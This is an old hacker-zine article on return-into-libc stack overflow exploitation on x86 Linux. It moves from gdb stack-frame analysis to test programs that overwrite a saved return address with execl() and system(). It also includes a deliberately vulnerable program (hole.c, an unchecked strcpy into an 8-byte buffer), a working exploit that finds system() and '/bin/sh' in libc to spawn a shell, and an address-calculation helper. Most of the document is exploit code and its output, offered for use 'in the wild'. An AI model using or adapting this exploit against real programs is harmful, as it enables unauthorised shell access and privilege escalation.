The OMEGA project finished +=+-+=+-+=+-+=+-+=+-+=+-+=+-+=+-+= By lamagra ---[ Flashback In my previous paper, i explained why and a little bit about how. There were some difficulties: o sending arguments to the system() call. (we fixed this using an other program to link the garbage to a shell.) ---[ Examination of a program flow We take this little example program to examine the flow. <++> omega/example.c void foo(char *bla) { printf("I got passed %p\n",bla); } void main() { foo("fubar"); } <--> We compile and fire up gdb. darkstar:~/omega$ gcc example.c -o example darkstar:~/omega$ gdb example GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-slackware-linux"... (gdb) disassemble main Dump of assembler code for function main: 0x8048594
: pushl %ebp 0x8048595 : movl %esp,%ebp 0x8048597 : pushl $0x8049099 0x804859c : call 0x804857c 0x80485a1 : addl $0x4,%esp 0x80485a4 : movl %ebp,%esp 0x80485a6 : popl %ebp 0x80485a7 : ret End of assembler dump. (gdb) x/5bc 0x8049099 0x8049099 <_fini+25>: 102 'f' 117 'u' 98 'b' 97 'a' 114 'r' (gdb) disassemble foo Dump of assembler code for function foo: 0x804857c : pushl %ebp 0x804857d : movl %esp,%ebp 0x804857f : movl 0x8(%ebp),%eax 0x8048582 : pushl %eax 0x8048583 : pushl $0x8049088 0x8048588 : call 0x8048400 0x804858d : addl $0x8,%esp 0x8048590 : movl %ebp,%esp 0x8048592 : popl %ebp 0x8048593 : ret End of assembler dump. (gdb) quit darkstar:~/omega$ We notice the address of our "fubar" string getting pushed on the stack at 0x8048597. After that the foo function is called (0x804859c). After initialisation foo() loads the pushed address into the eax register as we can see at 0x804857f. The address is located on 0x8(%ebp), ebp is the current stack pointer. ---[ Implementation With the previous in mind we write a small test program. <++> omega/test.c /* * A small test program for project "omega" * Lamagra */ foo(char *bla) { printf("foo: %p\n",bla); printf("foo: %s \n",bla); } main() { char bla[8]; char *shell = "/bin/sh"; long addy = 0x41414141; printf("foo = 0x%x\n",(long)&foo); printf("bla = 0x%x\n",(long)&bla); printf("shell = 0x%x\n",shell); *(long *)&bla[0] = addy; /* buffer */ *(long *)&bla[4] = addy; /* buffer */ *(long *)&bla[8] = addy; /* saved ebp */ *(long *)&bla[12] = &foo; /* saved eip */ *(long *)&bla[16] = addy; /* Junk */ *(long *)&bla[20] = shell; /* address of the arg */ } <--> The comment explain the use pretty clear, so read them. Afterwards compile and run. darkstar:~/omega$ gcc test.c -otest darkstar:~/omega$ test foo = 0x804857c bla = 0xbffffb08 shell = 0x8049111 foo: 0x8049111 foo: /bin/sh segmentation fault darkstar:~/omega$ The foo function gets called and its argument is placed correctly. But after execution it segfaults, let's debug it and find out why. darkstar:~/omega$ gdb test GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-slackware-linux"... (gdb) break *foo Breakpoint 1 at 0x804857c (gdb) run Starting program: /tmp/omega/hello foo = 0x804857c bla = 0xbffffb10 shell = 0x8049111 Breakpoint 1, 0x804857c in foo () (gdb) x/10wx 0xbffffb10 0xbffffb10: 0x41414141 0x41414141 0x41414141 0x0804857c 0xbffffb20: 0x41414141 0x08049111 0xbffffb44 0x00000000 0xbffffb30: 0x00000000 0x00000000 (gdb) c Continuing. foo: 0x8049111 foo: /bin/sh Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg ebp ebp 0x41414141 0x41414141 (gdb) info reg esp esp 0xbffffb24 0xbffffb24 (gdb) quit The program is running. Exit anyway? (y or n) y darkstar:~/omega$ The dumb of buffer "bla" shows our intentions very clearly. The segfault happens because the program tries to execute 0x41414141. That address is at 0xbffffb20. When returning from foo() ebp and eip are poped from the stack at the location pointed to by esp. If we wanted to put right the segfault, we could put an other address in there (eg. exit()), so it has a clean exit. Apply this patch to fix it (patch test.c test.patch). <++> omega/test.patch --- old.c Wed Oct 6 18:49:07 1999 +++ test.c Wed Oct 6 18:49:25 1999 @@ -19,6 +19,6 @@ *(long *)&bla[4] = addr; /* buffer */ *(long *)&bla[8] = addr; /* saved ebp */ *(long *)&bla[12] = &foo; /* saved eip */ - *(long *)&bla[16] = addr; /* Junk */ + *(long *)&bla[16] = &exit; /* exit() */ *(long *)&bla[20] = shell; /* address of the arg */ } <--> Same thing can be done for multiple arguments. 0x8(%ebp) = arg[1] 0xc(%ebp) = arg[2] 0x10(%ebp) = arg[3] and so on. <++> omega/multiple.c #include #include main() { char bla[8]; char *shell = "/bin/sh"; long addr = 0x41414141; printf("bla = 0x%x\n",(long)&bla); printf("shell = 0x%x\n",shell); *(long *)&bla[0] = addr; /* buffer */ *(long *)&bla[4] = addr; /* buffer */ *(long *)&bla[8] = addr; /* saved ebp */ *(long *)&bla[12] = &execl; /* saved eip */ *(long *)&bla[16] = &exit; /* exit() */ *(long *)&bla[20] = shell; /* arg[1] */ *(long *)&bla[24] = shell; /* arg[2] */ *(long *)&bla[28] = 0x0; /* arg[3] */ /* * Executes execl("/bin/sh","/bin/sh",0x0); * On error exit("/bin/sh"); i know weird */ */ } <--> Now we can exploit a bufferoverflow in a secure environement. What about in the wild? <++> omega/hole.c /* * The hole program. * Prints the address of system() in libc and overflows. */ #include #include main(int argc, char **argv) { char buf[8]; long addr; void *handle; handle = dlopen(NULL,RTLD_LAZY); addr = (long)dlsym(handle,"system"); printf("System() is at 0x%x\n",addr); if(argc > 1) strcpy(buf, argv[1]); } <--> <++> omega/exploit.c /* * The exploit * Finds the address of system() in libc. * Searches for "/bin/sh" in the neighbourhood of system(). * (System() uses that string) * Lamagra */ #include #include main(int argc, char **argv) { int x,size; char *buf; long addr,shell,exitaddy; void *handle; if(argc != 3){ printf("Usage %s \n",argv[0]); exit(-1); } size = atoi(argv[1])+16; if((buf = malloc(size)) == NULL){ perror("can't allocate memory"); exit(-1); } handle = dlopen(NULL,RTLD_LAZY); addr = (long)dlsym(handle,"system"); printf("System() is at 0x%x\n",addr); if(!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { printf("system() contains a '0', sorry!"); exit(-1); } shell = addr; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); printf("print %s\n",shell); memset(buf,0x41,size); *(long *)&buf[size-16] = 0xbffffbbc; *(long *)&buf[size-12] = addr; *(long *)&buf[size-4] = shell; puts("Executing"); execl(argv[2],argv[2],buf,0x0); } <--> darkstar:~/omega$ gcc hole.c -ohole -ldl darkstar:~/omega$ gcc omega.c -oomega -ldl darkstar:~/omega$ omega 8 vun System() is at 0x40043a18 "/bin/sh" is at 0x40089d26 print /bin/sh Executing System() is at 0x40043a18 bash# Looks like it works. But as you may have noticed an extra library is linked for this methode. That's why it doesn't work on programs that don't have that library linked: because the location of system() is different. There are other methodes to get the correct address: o Changing the program to let it print out the address (more or less the same) o Getting the address from the ELF-headers. ( I think this doesn't work on stripped files, solution recompile) o getting the address of atexit() (always available) and calculate the address of system(). Check out included program. ---[ Extra <++> omega/calc.c #include #include main(int argc, char **argv) { long addy,diff; if (argc != 2) { printf("Usage: %s \n",argv[0]); printf("Get the address with GDB\n\t$ echo x atexit|gdb program\n"); exit(-1); } addy = strtoul(argv[1],0,0); printf("Input = 0x%x\n",addy); diff = (long)&atexit - (long)&system; printf("system() = 0x%x\n",addy - diff + 16); } <--> ---[ Reference my previous paper in corezine #2 (http://bounce.to/unah16) ---[EOF